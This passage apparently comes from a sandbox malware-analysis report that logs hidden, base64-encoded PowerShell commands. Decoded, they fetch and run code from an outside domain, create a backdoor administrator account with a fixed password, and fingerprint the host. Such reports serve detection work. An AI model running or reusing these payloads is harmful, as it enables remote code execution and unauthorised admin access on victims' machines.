GMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBv